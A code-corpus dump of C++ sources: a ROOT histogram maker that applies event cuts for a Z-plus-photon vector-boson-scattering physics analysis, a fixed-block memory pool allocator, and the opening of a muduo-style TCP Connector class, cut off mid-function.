"muon2_rochester/D"); treename->Branch("drll", &drll, "drll/D"); cout<<"make outfile tree end"<<endl; fChain->SetBranchAddress("ele1_id_scale", &ele1_id_scale, &b_ele1_id_scale); fChain->SetBranchAddress("ele2_id_scale", &ele2_id_scale, &b_ele2_id_scale); fChain->SetBranchAddress("ele1_reco_scale", &ele1_reco_scale, &b_ele1_reco_scale); fChain->SetBranchAddress("ele2_reco_scale", &ele2_reco_scale, &b_ele2_reco_scale); fChain->SetBranchAddress("photon_id_scale", &photon_id_scale, &b_photon_id_scale); fChain->SetBranchAddress("lep1_sign", &lep1_sign, &b_lep1_sign); fChain->SetBranchAddress("lep2_sign", &lep2_sign, &b_lep2_sign); fChain->SetBranchAddress("muon1_trackerLayers", &muon1_trackerLayers, &b_muon1_trackerLayers); fChain->SetBranchAddress("muon2_trackerLayers", &muon2_trackerLayers, &b_muon2_trackerLayers); fChain->SetBranchAddress("matchedgenMu1_pt", &matchedgenMu1_pt, &b_matchedgenMu1_pt); fChain->SetBranchAddress("matchedgenMu2_pt", &matchedgenMu2_pt, &b_matchedgenMu2_pt); fChain->SetBranchAddress("muon1_id_scale", &muon1_id_scale, &b_muon1_id_scale); fChain->SetBranchAddress("muon2_id_scale", &muon2_id_scale, &b_muon2_id_scale); fChain->SetBranchAddress("muon1_iso_scale", &muon1_iso_scale, &b_muon1_iso_scale); fChain->SetBranchAddress("muon2_iso_scale", &muon2_iso_scale, &b_muon2_iso_scale); fChain->SetBranchAddress("muon1_track_scale", &muon1_track_scale, &b_muon1_track_scale); fChain->SetBranchAddress("muon2_track_scale", &muon2_track_scale, &b_muon2_track_scale); fChain->SetBranchAddress("muon_hlt_scale", &muon_hlt_scale, &b_muon_hlt_scale); fChain->SetBranchAddress("scalef", &scalef, &b_scalef); fChain->SetBranchAddress("actualWeight", &actualWeight, &b_actualWeight); fChain->SetBranchAddress("pweight", pweight, &b_pweight); fChain->SetBranchAddress("nVtx", &nVtx, &b_nVtx); fChain->SetBranchAddress("theWeight", &theWeight, &b_theWeight); fChain->SetBranchAddress("lumiWeight", &lumiWeight, &b_lumiWeight); fChain->SetBranchAddress("pileupWeight", &pileupWeight, &b_pileupWeight); fChain->SetBranchAddress("HLT_Ele1", &HLT_Ele1, &b_HLT_Ele1); fChain->SetBranchAddress("HLT_Ele2", &HLT_Ele2, &b_HLT_Ele2); fChain->SetBranchAddress("HLT_Ele3", &HLT_Ele3, &b_HLT_Ele3); fChain->SetBranchAddress("HLT_Ele4", &HLT_Ele4, &b_HLT_Ele4); fChain->SetBranchAddress("HLT_Ele5", &HLT_Ele5, &b_HLT_Ele5); fChain->SetBranchAddress("HLT_Ele6", &HLT_Ele6, &b_HLT_Ele6); fChain->SetBranchAddress("HLT_Ele7", &HLT_Ele7, &b_HLT_Ele7); fChain->SetBranchAddress("HLT_Mu2", &HLT_Mu2, &b_HLT_Mu2); fChain->SetBranchAddress("HLT_Mu5", &HLT_Mu5, &b_HLT_Mu5); fChain->SetBranchAddress("HLT_Mu6", &HLT_Mu6, &b_HLT_Mu6); fChain->SetBranchAddress("HLT_Mu7", &HLT_Mu7, &b_HLT_Mu7); fChain->SetBranchAddress("HLT_Mu8", &HLT_Mu8, &b_HLT_Mu8); fChain->SetBranchAddress("HLT_Mu9", &HLT_Mu9, &b_HLT_Mu9); fChain->SetBranchAddress("HLT_Mu10", &HLT_Mu10, &b_HLT_Mu10); fChain->SetBranchAddress("HLT_Mu11", &HLT_Mu11, &b_HLT_Mu11); fChain->SetBranchAddress("nump", &nump, &b_nump); fChain->SetBranchAddress("numm", &numm, &b_numm); fChain->SetBranchAddress("npT", &npT, &b_npT); fChain->SetBranchAddress("lep", &lep, &b_lep); fChain->SetBranchAddress("run_period", &run_period, &b_run_period); fChain->SetBranchAddress("ptVlep", &ptVlep, &b_ptVlep); fChain->SetBranchAddress("yVlep", &yVlep, &b_yVlep); fChain->SetBranchAddress("phiVlep", &phiVlep, &b_phiVlep); fChain->SetBranchAddress("massVlep", &massVlep, &b_massVlep); fChain->SetBranchAddress("ptlep1", &ptlep1, &b_ptlep1); fChain->SetBranchAddress("etalep1", &etalep1, &b_etalep1); fChain->SetBranchAddress("philep1", &philep1, &b_philep1); fChain->SetBranchAddress("ptlep2", &ptlep2, &b_ptlep2); fChain->SetBranchAddress("etalep2", &etalep2, &b_etalep2); fChain->SetBranchAddress("philep2", &philep2, &b_philep2); fChain->SetBranchAddress("drla", &drla, &b_drla); fChain->SetBranchAddress("drla2", &drla2, &b_drla2); fChain->SetBranchAddress("drj1a", &drj1a, &b_drj1a); fChain->SetBranchAddress("drj2a", &drj2a, &b_drj2a); fChain->SetBranchAddress("drj1l", &drj1l, &b_drj1l); fChain->SetBranchAddress("drj2l", &drj2l, &b_drj2l); fChain->SetBranchAddress("drj1l2", &drj1l2, &b_drj1l2); fChain->SetBranchAddress("drj2l2", &drj2l2, &b_drj2l2); fChain->SetBranchAddress("nlooseeles", &nlooseeles, &b_nlooseeles); fChain->SetBranchAddress("nloosemus", &nloosemus, &b_nloosemus); fChain->SetBranchAddress("MET_et", &MET_et, &b_MET_et); fChain->SetBranchAddress("photonet", &photonet, &b_photonet); fChain->SetBranchAddress("photoneta", &photoneta, &b_photoneta); fChain->SetBranchAddress("photonphi", &photonphi, &b_photonphi); fChain->SetBranchAddress("photone", &photone, &b_photone); fChain->SetBranchAddress("photonsieie", &photonsieie, &b_photonsieie); fChain->SetBranchAddress("photonphoiso", &photonphoiso, &b_photonphoiso); fChain->SetBranchAddress("photonchiso", &photonchiso, &b_photonchiso); fChain->SetBranchAddress("photonnhiso", &photonnhiso, &b_photonnhiso); fChain->SetBranchAddress("isprompt", &isprompt, &b_isprompt); fChain->SetBranchAddress("jet1pt", &jet1pt, &b_jet1pt); fChain->SetBranchAddress("jet1eta", &jet1eta, &b_jet1eta); fChain->SetBranchAddress("jet2pt", &jet2pt, &b_jet2pt); fChain->SetBranchAddress("jet2eta", &jet2eta, &b_jet2eta); fChain->SetBranchAddress("jet1phi", &jet1phi, &b_jet1phi); fChain->SetBranchAddress("jet2phi", &jet2phi, &b_jet2phi); fChain->SetBranchAddress("jet1e", &jet1e, &b_jet1e); fChain->SetBranchAddress("jet2e", &jet2e, &b_jet2e); fChain->SetBranchAddress("Mjj", &Mjj, &b_Mjj); fChain->SetBranchAddress("zepp", &zepp, &b_zepp); fChain->SetBranchAddress("deltaetajj", &deltaetajj, &b_deltaetajj); fChain->SetBranchAddress("l1_weight", &l1_weight, &b_l1_weight); } EDBRHistoMaker::EDBRHistoMaker(TTree* tree, TFile* fileTMP, TH1F* hR1, std::string out_name_, RoccoR* rc_in) { fChain = 0; // Which category do we want to analyze? fileTMP_ = fileTMP; hR1_ = hR1; out_name = out_name_; rc = *rc_in; debug_ = true; Init(tree); createAllHistos(); printAllHistos(); } double EDBRHistoMaker::get_rochester_scale(bool isdata, double charge_temp, double pt, double eta, double phi, int nl, double genPt, double r1, double r2){ int charge = int(charge_temp/fabs(charge_temp)); // data correction if(isdata) return rc.kScaleDT(charge, pt, eta, phi, 0, 0); // MC with genPt avalible if((!isdata) && genPt>0&&fabs(genPt-pt)/pt<0.1) return rc.kScaleFromGenMC(charge, pt, eta, phi, nl, genPt, r1, 0, 0); // MC without genPT avalible if((!isdata) && !(genPt>0&&fabs(genPt-pt)/pt<0.1)) return rc.kScaleAndSmearMC(charge, pt, eta, phi, nl, r1, r2, 0, 0); } EDBRHistoMaker::~EDBRHistoMaker() { if (!fChain) return; delete fChain->GetCurrentFile(); } Int_t EDBRHistoMaker::GetEntry(Long64_t entry) { // Read contents of entry. if (!fChain) return 0; return fChain->GetEntry(entry); } Long64_t EDBRHistoMaker::LoadTree(Long64_t entry) { // Set the environment to read one entry if (!fChain) return -5; Long64_t centry = fChain->LoadTree(entry); if (centry < 0) return centry; if (fChain->GetTreeNumber() != fCurrent) { fCurrent = fChain->GetTreeNumber(); } return centry; } //------------------------- // Infrastructure functions //------------------------- void EDBRHistoMaker::createAllHistos() { /// This part substitutes the big arrays that used to be /// in the beginning of this file. /// Much simpler to create histos now: just add them to /// hs with hs.setHisto(name,nbins,min,max); hs.setHisto("ptVlep", 15, 0, 450); hs.setHisto("etaVlep", 12, -1.5, 1.5); hs.setHisto("phiVlep", 16, -3.14, 3.14); hs.setHisto("massVlep", 10, 70, 110); hs.setHisto("photonet", 8, 25, 105); hs.setHisto("photoneta", 12, -1.5, 1.5); hs.setHisto("photonphi", 16, -3.14, 3.14); hs.setHisto("photonsieie", 10, 0, 0.01022); hs.setHisto("photonnhiso", 10, 0, 3); hs.setHisto("photonchiso", 10, 0, 0.441); hs.setHisto("photonphoiso", 10, 0, 3); hs.setHisto("ptlep1", 10, 20, 300); hs.setHisto("etalep1", 12, -2.4, 2.4); hs.setHisto("philep1", 16, -3.14, 3.14); hs.setHisto("ptlep2", 10, 20, 300); hs.setHisto("etalep2", 12, -2.4, 2.4); hs.setHisto("philep2", 16, -3.14, 3.14); hs.setHisto("jet1pt", 9, 30, 300); hs.setHisto("jet1eta", 16, -4.7, 4.7); hs.setHisto("jet2pt", 9, 30, 300); hs.setHisto("jet2eta", 16, -4.7, 4.7); hs.setHisto("Mjj", 5, 500, 2000); hs.setHisto("ZGmass", 8, 70, 400); hs.setHisto("nVtx", 18, 0, 36); hs.setHisto("zepp", 9, 0, 4.5); hs.setHisto("delta_phi", 10, 0, 3.15); hs.setHisto("detajj", 8, 0, 8); char buffer[256]; char buffer2[256]; nVars = hs.vars.size(); for (int i = 0; i != nVars; ++i) { sprintf(buffer, "%s_mu", hs.vars[i].c_str()); // sprintf(buffer,"%s_el",hs.vars[i].c_str()); sprintf(buffer2, "%s;%s;Number of events;", hs.vars[i].c_str(), hs.vars[i].c_str()); TH1D* histogram = new TH1D(buffer, buffer2, hs.nBins[i], hs.minBin[i], hs.maxBin[i]); histogram->SetStats(kFALSE); histogram->SetDirectory(0); //histogram->Sumw2(); theHistograms[hs.vars[i]] = histogram; } } void EDBRHistoMaker::printAllHistos() { printf("We have %i histograms \n", int(theHistograms.size())); typedef std::map<std::string, TH1D*>::iterator it_type; for (it_type iterator = theHistograms.begin(); iterator != theHistograms.end(); iterator++) { } } void EDBRHistoMaker::saveAllHistos(std::string outFileName) { TFile* outFile = TFile::Open(outFileName.c_str(), "RECREATE"); for (int i = 0; i != nVars; ++i) { std::string name = hs.vars[i]; const TH1D* thisHisto = this->theHistograms[name]; thisHisto->Write(); } outFile->Close(); } ///---------------------------------------------------------------- /// This is the important function, the loop over all events. /// Here we fill the histograms according to cuts, weights, /// and can also filter out events on an individual basis. ///---------------------------------------------------------------- void EDBRHistoMaker::Loop(std::string outFileName) { double sum=0; if (fChain == 0) return; int numbe_out = 0; Long64_t nentries = fChain->GetEntriesFast(); std::cout << "nentries" << nentries << std::endl; Long64_t npp = fChain->GetEntries("theWeight>0."); Long64_t nmm = fChain->GetEntries("theWeight<0."); Double_t nn; std::cout << "numberofnp:" << npp << " numberofnm:" << nmm << std::endl; Long64_t nbytes = 0, nb = 0; TLorentzVector Zp4, photonp4, jet1p4, jet2p4,lep1p4,lep2p4; for (Long64_t jentry = 0; jentry < nentries; jentry++) { double r1=gRandom->Rndm(jentry); double r2=gRandom->Rndm(jentry*2); drll=-1e2; Long64_t ientry = LoadTree(jentry); if (ientry < 0) break; nb = fChain->GetEntry(jentry); nbytes += nb; //rochester correction /* muon1_rochester=get_rochester_scale(true, lep1_sign, ptlep1,etalep1, philep1, muon1_trackerLayers, matchedgenMu1_pt,r1, r2); muon2_rochester=get_rochester_scale(true, lep2_sign, ptlep2,etalep2, philep2, muon2_trackerLayers, matchedgenMu2_pt,r1, r2); ptlep1*=muon1_rochester; ptlep2*=muon2_rochester; lep1p4.SetPtEtaPhiM(ptlep1, etalep1, philep1, 0.105666); lep2p4.SetPtEtaPhiM(ptlep2, etalep2, philep2, 0.105666); massVlep=(lep1p4+lep2p4).M(); yVlep=(lep1p4+lep2p4).Eta(); phiVlep=(lep1p4+lep2p4).Phi(); ptVlep=(lep1p4+lep2p4).Pt();*/ //rochester correction if (jentry % 1000000 == 0) std::cout << "Entry num " << jentry << std::endl; if (theWeight > 0) nn = 1; else nn = -1; // actualWeight = lumiWeight * pileupWeight * scalef; detajj = fabs(jet1eta - jet2eta); if (fabs(jet1phi-jet2phi)>Pi) drjj = sqrt((jet1eta-jet2eta)*(jet1eta-jet2eta)+(2*Pi-fabs(jet1phi-jet2phi))*(2*Pi-fabs(jet1phi-jet2phi))); else drjj = sqrt((jet1eta-jet2eta)*(jet1eta-jet2eta)+(fabs(jet1phi-jet2phi))*(fabs(jet1phi-jet2phi))); if (fabs(philep1-philep2)>Pi) drll = sqrt((etalep1-etalep2)*(etalep1-etalep2)+(2*Pi-fabs(philep1-philep2))*(2*Pi-fabs(philep1-philep2))); else drll = sqrt((etalep1-etalep2)*(etalep1-etalep2)+(fabs(philep1-philep2))*(fabs(philep1-philep2))); Zp4.SetPtEtaPhiM(ptVlep, yVlep, phiVlep, massVlep); photonp4.SetPtEtaPhiE(photonet, photoneta, photonphi, photone); jet1p4.SetPtEtaPhiE(jet1pt, jet1eta, jet1phi, jet1e); jet2p4.SetPtEtaPhiE(jet2pt, jet2eta, jet2phi, jet2e); delta_phi=fabs((Zp4+photonp4).Phi()-(jet1p4+jet2p4).Phi()); ZGmass=(Zp4+photonp4).M(); if (delta_phi>Pi) delta_phi=2*Pi-delta_phi; if (setUnitaryWeights_) { if (jentry == 0) printf("Unitary weights set!\n"); actualWeight = 1; } int iswjets = 0; int isnotwets = 0; int iszjets = 0; int isttjets = 0; TString filename = fileTMP_->GetName(); if (filename.Contains("WJets") && isprompt != 1) { iswjets = 1; } if (filename.Contains("ZJets") && isprompt != 1) { iszjets = 1; } if (filename.Contains("TTJets") && isprompt != 1) { isttjets = 1; } if (!(filename.Contains("WJets")) && !(filename.Contains("ZJets")) && !(filename.Contains("TTJets"))) { isnotwets = 1; } if(drla==10) drla=-10; if(drla2==10) drla2=-10; if( (drll>0.3 &&drla>0.7 && drla2>0.7 && lep == 13 && ptlep1 > 20. && ptlep2 > 20. && fabs(etalep1) < 2.4 && fabs(etalep2) < 2.4 && nlooseeles == 0 && nloosemus < 3 && massVlep > 70. && massVlep < 110. && photonet > 20. &&( (fabs(photoneta) < 1.4442) || ( fabs(photoneta)<2.5&&fabs(photoneta)>1.566 ) ) && jet1pt> 30 && jet2pt > 30 && fabs(jet1eta)< 4.7 && fabs(jet2eta)<4.7 && drj1a>0.5 &&drj2a>0.5 && drj1l>0.5 && drj2l>0.5 && drjj>0.5&& Mjj>500 && detajj>2.5 && ZGmass>100) || (drla>0.7 && drla2>0.7 && lep == 11 && ptlep1 > 25. && ptlep2 > 25. && fabs(etalep1) < 2.5 && fabs(etalep2) < 2.5 && nlooseeles < 3 && nloosemus == 0 && massVlep > 70. && massVlep < 110. && photonet > 20. &&( (fabs(photoneta) < 1.4442) || ( fabs(photoneta)<2.5&&fabs(photoneta)>1.566 ) ) && jet1pt> 30 && jet2pt > 30 && fabs(jet1eta)< 4.7 && fabs(jet2eta)<4.7 && drj1a>0.5 &&drj2a>0.5 && drj1l>0.5 && drj2l>0.5 && drjj>0.5&& Mjj>500 && detajj>2.5 && ZGmass>100) ) { numbe_out++; treename->Fill(); } else continue; if (isnotwets > 0 || iswjets > 0 || iszjets > 0 || isttjets > 0) { (theHistograms["ptVlep"])->Fill(ptVlep, actualWeight); (theHistograms["etaVlep"])->Fill(yVlep, actualWeight); (theHistograms["phiVlep"])->Fill(phiVlep, actualWeight); (theHistograms["massVlep"])->Fill(massVlep, actualWeight); (theHistograms["photonet"])->Fill(photonet, actualWeight); (theHistograms["photoneta"])->Fill(photoneta, actualWeight); (theHistograms["photonphi"])->Fill(photonphi, actualWeight); (theHistograms["photonsieie"])->Fill(photonsieie, actualWeight); (theHistograms["photonphoiso"])->Fill(photonphoiso, actualWeight); (theHistograms["photonchiso"])->Fill(photonchiso, actualWeight); (theHistograms["photonnhiso"])->Fill(photonnhiso, actualWeight); (theHistograms["ptlep1"])->Fill(ptlep1, actualWeight); (theHistograms["etalep1"])->Fill(etalep1, actualWeight); (theHistograms["philep1"])->Fill(philep1, actualWeight); (theHistograms["ptlep2"])->Fill(ptlep2, actualWeight); (theHistograms["etalep2"])->Fill(etalep2, actualWeight); (theHistograms["philep2"])->Fill(philep2, actualWeight); (theHistograms["jet1pt"])->Fill(jet1pt, actualWeight); (theHistograms["jet1eta"])->Fill(jet1eta, actualWeight); (theHistograms["jet2pt"])->Fill(jet2pt, actualWeight); (theHistograms["jet2eta"])->Fill(jet2eta, actualWeight); // if(Mjj<400)(theHistograms["Mjj"])->Fill(Mjj, actualWeight); (theHistograms["Mjj"])->Fill(Mjj, actualWeight); (theHistograms["ZGmass"])->Fill(ZGmass, actualWeight); (theHistograms["nVtx"])->Fill(nVtx, actualWeight); (theHistograms["zepp"])->Fill(zepp, actualWeight); (theHistograms["delta_phi"])->Fill(delta_phi, actualWeight); (theHistograms["detajj"])->Fill(detajj, actualWeight); } sum =sum + actualWeight; } //end loop over entries cout << "after cut: " << numbe_out << "*actualweight" << actualWeight << " result " << sum <<"; yield "<<sum * 35.86*0.96<< endl; this->saveAllHistos(outFileName); } void EDBRHistoMaker::Loop_SFs_mc(std::string outFileName){ double sum=0; if (fChain == 0) return; int numbe_out = 0; Long64_t nentries = fChain->GetEntriesFast(); std::cout << "nentries" << nentries << std::endl; Long64_t npp = fChain->GetEntries("theWeight>0."); Long64_t nmm = fChain->GetEntries("theWeight<0."); Double_t nn; std::cout << "numberofnp:" << npp << " numberofnm:" << nmm << std::endl; Long64_t nbytes = 0, nb = 0; TLorentzVector Zp4, photonp4, jet1p4, jet2p4, lep1p4, lep2p4; for (Long64_t jentry = 0; jentry < nentries; jentry++) { double r1=gRandom->Rndm(jentry); double r2=gRandom->Rndm(jentry*2); drll=-1e2; Long64_t ientry = LoadTree(jentry); if (ientry < 0) break; nb = fChain->GetEntry(jentry); nbytes += nb; //rochester correction /* muon1_rochester=get_rochester_scale(false, lep1_sign, ptlep1,etalep1, philep1, muon1_trackerLayers, matchedgenMu1_pt,r1, r2); muon2_rochester=get_rochester_scale(false, lep2_sign, ptlep2,etalep2, philep2, muon2_trackerLayers, matchedgenMu2_pt,r1, r2); ptlep1*=muon1_rochester; ptlep2*=muon2_rochester; lep1p4.SetPtEtaPhiM(ptlep1, etalep1, philep1, 0.105666); lep2p4.SetPtEtaPhiM(ptlep2, etalep2, philep2, 0.105666); massVlep=(lep1p4+lep2p4).M(); yVlep=(lep1p4+lep2p4).Eta(); phiVlep=(lep1p4+lep2p4).Phi(); ptVlep=(lep1p4+lep2p4).Pt();*/ //rochester correction //if (jentry % 100000 == 0) //std::cout << "Entry num " << jentry << std::endl; if (theWeight > 0) nn = 1; else nn = -1; // if(outFileName.find("ZJets") != std::string::npos){ // scalef=0.07487*fabs(theWeight)/theWeight; // } // actualWeight = lumiWeight * pileupWeight * scalef; detajj = fabs(jet1eta - jet2eta); if (fabs(jet1phi-jet2phi)>Pi) drjj = sqrt((jet1eta-jet2eta)*(jet1eta-jet2eta)+(2*Pi-fabs(jet1phi-jet2phi))*(2*Pi-fabs(jet1phi-jet2phi))); else drjj = sqrt((jet1eta-jet2eta)*(jet1eta-jet2eta)+(fabs(jet1phi-jet2phi))*(fabs(jet1phi-jet2phi))); if (fabs(philep1-philep2)>Pi) drll = sqrt((etalep1-etalep2)*(etalep1-etalep2)+(2*Pi-fabs(philep1-philep2))*(2*Pi-fabs(philep1-philep2))); else drll = sqrt((etalep1-etalep2)*(etalep1-etalep2)+(fabs(philep1-philep2))*(fabs(philep1-philep2))); jet1p4.SetPtEtaPhiE(jet1pt, jet1eta, jet1phi, jet1e); jet2p4.SetPtEtaPhiE(jet2pt, jet2eta, jet2phi, jet2e); Zp4.SetPtEtaPhiM(ptVlep, yVlep, phiVlep, massVlep); photonp4.SetPtEtaPhiE(photonet, photoneta, photonphi, photone); delta_phi=fabs((Zp4+photonp4).Phi()-(jet1p4+jet2p4).Phi()); ZGmass=(Zp4+photonp4).M(); if (delta_phi>Pi) delta_phi=2*Pi-delta_phi; if (setUnitaryWeights_) { if (jentry == 0) printf("Unitary weights set!\n"); actualWeight = 1; } int iswjets = 0; int isnotwets = 0; int iszjets = 0; int isttjets = 0; TString filename = fileTMP_->GetName(); if(filename.Contains("18")) actualWeight = scalef; if (filename.Contains("WJets") && isprompt != 1) { iswjets = 1; } if (filename.Contains("ZJets") && isprompt != 1) { iszjets = 1; } if (filename.Contains("TTJets") && isprompt != 1) { isttjets = 1; } if (!(filename.Contains("WJets")) && !(filename.Contains("ZJets")) && !(filename.Contains("TTJets"))) { isnotwets = 1; } if(drla==10) drla=-10; if(drla2==10) drla2=-10; if( (drll>0.3 &&drla>0.7 && drla2>0.7 && lep == 13 && ptlep1 > 20. && ptlep2 > 20. && fabs(etalep1) < 2.4 && fabs(etalep2) < 2.4 && nlooseeles == 0 && nloosemus < 3 && massVlep > 70. && massVlep < 110. && photonet > 20. &&( (fabs(photoneta) < 1.4442) || ( fabs(photoneta)<2.5&&fabs(photoneta)>1.566 ) ) && jet1pt> 30 && jet2pt > 30 && fabs(jet1eta)< 4.7 && fabs(jet2eta)<4.7 && drj1a>0.5 &&drj2a>0.5 && drj1l>0.5 && drj2l>0.5 && drjj>0.5&& Mjj>500 && detajj>2.5 && ZGmass>100) || (drla>0.7 && drla2>0.7 && lep == 11 && ptlep1 > 25. && ptlep2 > 25. && fabs(etalep1) < 2.5 && fabs(etalep2) < 2.5 && nlooseeles < 3 && nloosemus == 0 && massVlep > 70. && massVlep < 110. && photonet > 20. &&( (fabs(photoneta) < 1.4442) || ( fabs(photoneta)<2.5&&fabs(photoneta)>1.566 ) ) && jet1pt> 30 && jet2pt > 30 && fabs(jet1eta)< 4.7 && fabs(jet2eta)<4.7 && drj1a>0.5 &&drj2a>0.5 && drj1l>0.5 && drj2l>0.5 && drjj>0.5&& Mjj>500 && detajj>2.5 && ZGmass>100) ) { numbe_out++; treename->Fill(); //if(filename.Contains("ST")){ cout<<"actualWeight"<<actualWeight<<endl;cout<<"lumiWeight:"<<lumiWeight<<"; pileupWeight:"<<pileupWeight<<"; scalef = "<<scalef<<"; muon1_id_scale = "<<muon1_id_scale<<"; muon2_id_scale = "<<muon2_id_scale<<"; muon1_track_scale = "<<muon1_track_scale<<"; muon_hlt_scale = "<<muon_hlt_scale<<endl;} } else continue; // if(lep==13) actualWeight = actualWeight*muon1_id_scale*muon2_id_scale*muon1_iso_scale*muon2_iso_scale* /*muon1_track_scale*muon2_track_scale*muon_hlt_scale*/photon_id_scale;//*1.054; // if(lep==11) actualWeight = actualWeight*ele1_id_scale*ele2_id_scale*ele1_reco_scale*ele2_reco_scale*photon_id_scale; // if(filename.Contains("plj")) { // actualWeight = scalef; //if(jentry%1000==0) cout<<"photonet = "<<photonet<<"; actualWeight = "<<actualWeight<<endl; // } sum =sum + actualWeight; if (isnotwets > 0 || iswjets > 0 || iszjets > 0 || isttjets > 0) { (theHistograms["ptVlep"])->Fill(ptVlep, actualWeight); (theHistograms["etaVlep"])->Fill(yVlep, actualWeight); (theHistograms["phiVlep"])->Fill(phiVlep, actualWeight); (theHistograms["massVlep"])->Fill(massVlep, actualWeight); (theHistograms["photonet"])->Fill(photonet, actualWeight); (theHistograms["photoneta"])->Fill(photoneta, actualWeight); (theHistograms["photonphi"])->Fill(photonphi, actualWeight); (theHistograms["photonsieie"])->Fill(photonsieie, actualWeight); (theHistograms["photonphoiso"])->Fill(photonphoiso, actualWeight); (theHistograms["photonchiso"])->Fill(photonchiso, actualWeight); (theHistograms["photonnhiso"])->Fill(photonnhiso, actualWeight); (theHistograms["ptlep1"])->Fill(ptlep1, actualWeight); (theHistograms["etalep1"])->Fill(etalep1, actualWeight); (theHistograms["philep1"])->Fill(philep1, actualWeight); (theHistograms["ptlep2"])->Fill(ptlep2, actualWeight); (theHistograms["etalep2"])->Fill(etalep2, actualWeight); (theHistograms["philep2"])->Fill(philep2, actualWeight); (theHistograms["jet1pt"])->Fill(jet1pt, actualWeight); (theHistograms["jet1eta"])->Fill(jet1eta, actualWeight); (theHistograms["jet2pt"])->Fill(jet2pt, actualWeight); (theHistograms["jet2eta"])->Fill(jet2eta, actualWeight); (theHistograms["Mjj"])->Fill(Mjj, actualWeight); (theHistograms["ZGmass"])->Fill(ZGmass, actualWeight); (theHistograms["nVtx"])->Fill(nVtx, actualWeight); (theHistograms["zepp"])->Fill(zepp, actualWeight); (theHistograms["delta_phi"])->Fill(delta_phi, actualWeight); (theHistograms["detajj"])->Fill(detajj, actualWeight); } if(sum<0){ cout<<filename<<" "<<" "<<scalef<<" "<<actualWeight<<endl; } } cout << "after cut: " << numbe_out << "*actualweight" << actualWeight << " result " << sum <<"; yields "<<sum *35.86*0.96 <<endl; this->saveAllHistos(outFileName); }
[ "anying@pku.edu.cn" ]
anying@pku.edu.cn
38b9da76807f9006774871206a4fafdd71b30ef1
8f3daed7bdd982297dfcce910a1e72ceb6cee7bc
/src/Allocator.cpp
3fffe0b037a09e76afda7beb9b8ca346c4448fce
[ "BSD-2-Clause" ]
permissive
coryking/MotionController
bb7c48783088b0fc29c8fa41b5f0c5c6954e82cf
56445b4faea2f044e256cf2414021cadb62b5d67
refs/heads/master
2021-01-24T06:47:11.740356
2017-06-11T20:10:28
2017-06-11T20:10:28
93,322,175
2
0
null
null
null
null
UTF-8
C++
false
false
3,742
cpp
#include "Allocator.h" #include "DataTypes.h" #include "Fault.h" #include <new> //------------------------------------------------------------------------------ // Constructor //------------------------------------------------------------------------------ Allocator::Allocator(size_t size, UINT objects, CHAR* memory, const CHAR* name) : m_blockSize(size < sizeof(long*) ? sizeof(long*):size), m_objectSize(size), m_maxObjects(objects), m_pHead(NULL), m_poolIndex(0), m_blockCnt(0), m_blocksInUse(0), m_allocations(0), m_deallocations(0), m_name(name) { // If using a fixed memory pool if (m_maxObjects) { // If caller provided an external memory pool if (memory) { m_pPool = memory; m_allocatorMode = STATIC_POOL; } else { m_pPool = (CHAR*)new CHAR[m_blockSize * m_maxObjects]; m_allocatorMode = HEAP_POOL; } } else m_allocatorMode = HEAP_BLOCKS; } //------------------------------------------------------------------------------ // Destructor //------------------------------------------------------------------------------ Allocator::~Allocator() { // If using pool then destroy it, otherwise traverse free-list and // destroy each individual block if (m_allocatorMode == HEAP_POOL) delete [] m_pPool; else if (m_allocatorMode == HEAP_BLOCKS) { while(m_pHead) delete [] (CHAR*)Pop(); } } //------------------------------------------------------------------------------ // Allocate //------------------------------------------------------------------------------ void* Allocator::Allocate(size_t size) { ASSERT_TRUE(size <= m_objectSize); // If can't obtain existing block then get a new one void* pBlock = Pop(); if (!pBlock) { // If using a pool method then get block from pool, // otherwise using dynamic so get block from heap if (m_maxObjects) { // If we have not exceeded the pool maximum if(m_poolIndex < m_maxObjects) { pBlock = (void*)(m_pPool + (m_poolIndex++ * m_blockSize)); } else { // Get the pointer to the new handler std::new_handler handler = std::set_new_handler(0); std::set_new_handler(handler); // If a new handler is defined, call it if (handler) (*handler)(); else ASSERT(); } } else { m_blockCnt++; pBlock = (void*)new CHAR[m_blockSize]; } } m_blocksInUse++; m_allocations++; return pBlock; } //------------------------------------------------------------------------------ // Deallocate //------------------------------------------------------------------------------ void Allocator::Deallocate(void* pBlock) { Push(pBlock); m_blocksInUse--; m_deallocations++; } //------------------------------------------------------------------------------ // Push //------------------------------------------------------------------------------ void Allocator::Push(void* pMemory) { Block* pBlock = (Block*)pMemory; pBlock->pNext = m_pHead; m_pHead = pBlock; } //------------------------------------------------------------------------------ // Pop //------------------------------------------------------------------------------ void* Allocator::Pop() { Block* pBlock = NULL; if (m_pHead) { pBlock = m_pHead; m_pHead = m_pHead->pNext; } return (void*)pBlock; }
[ "me@coryking.com" ]
me@coryking.com
a616ef4e324dc539b19dabc303da713c2c025742
db0761d6fc262fb3760695f6ed4fae7c9605980a
/MuduoPlus/net/Connector.cpp
e5a33280096ce42eef6439925fc71d3f17db859b
[]
no_license
lxq2537664558/project
1e6d9cfb7f13c575ce615a0c14e521f782210f94
be8c681c45ae435e823a5dcd3b4a18bb77ea41fb
refs/heads/master
2020-03-23T21:17:25.018513
2016-11-07T16:14:17
2016-11-07T16:14:17
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,434
cpp
#include <assert.h> #include <algorithm> #include "Connector.h" #include "EventLoop.h" #include "Channel.h" #include "base/Logger.h" namespace MuduoPlus { const int Connector::kMaxRetryDelayMs; Connector::Connector(EventLoop* loop, const InetAddress& serverAddr) : loop_(loop), serverAddr_(serverAddr), connect_(false), state_(kDisconnected), retryDelayMs_(kInitRetryDelayMs) { //LOG_DEBUG << "ctor[" << this << "]"; } Connector::~Connector() { LOG_PRINT(LogType_Debug, "dtor[%p]", this); assert(!channelPtr_); } void Connector::start() { connect_ = true; loop_->runInLoop(std::bind(&Connector::startInLoop, this)); // FIXME: unsafe } void Connector::startInLoop() { loop_->assertInLoopThread(); assert(state_ == kDisconnected); if(connect_) { connect(); } else { LOG_PRINT(LogType_Debug, "do not connect"); } } void Connector::stop() { connect_ = false; loop_->queueInLoop(std::bind(&Connector::stopInLoop, this)); // FIXME: unsafe // FIXME: cancel timer } void Connector::stopInLoop() { loop_->assertInLoopThread(); if(state_ == kConnecting) { setState(kDisconnected); int sockfd = removeAndResetChannel(); retry(sockfd); } } void Connector::connect() { int sockFd = SocketOps::createSocket(); SocketOps::setSocketNoneBlocking(sockFd); int ret = SocketOps::connect(sockFd, &serverAddr_.getSockAddr()); if(ret == 0) // connect success immediately { setState(kConnected); if(connect_) { newConnectionCallback_(sockFd); } else { 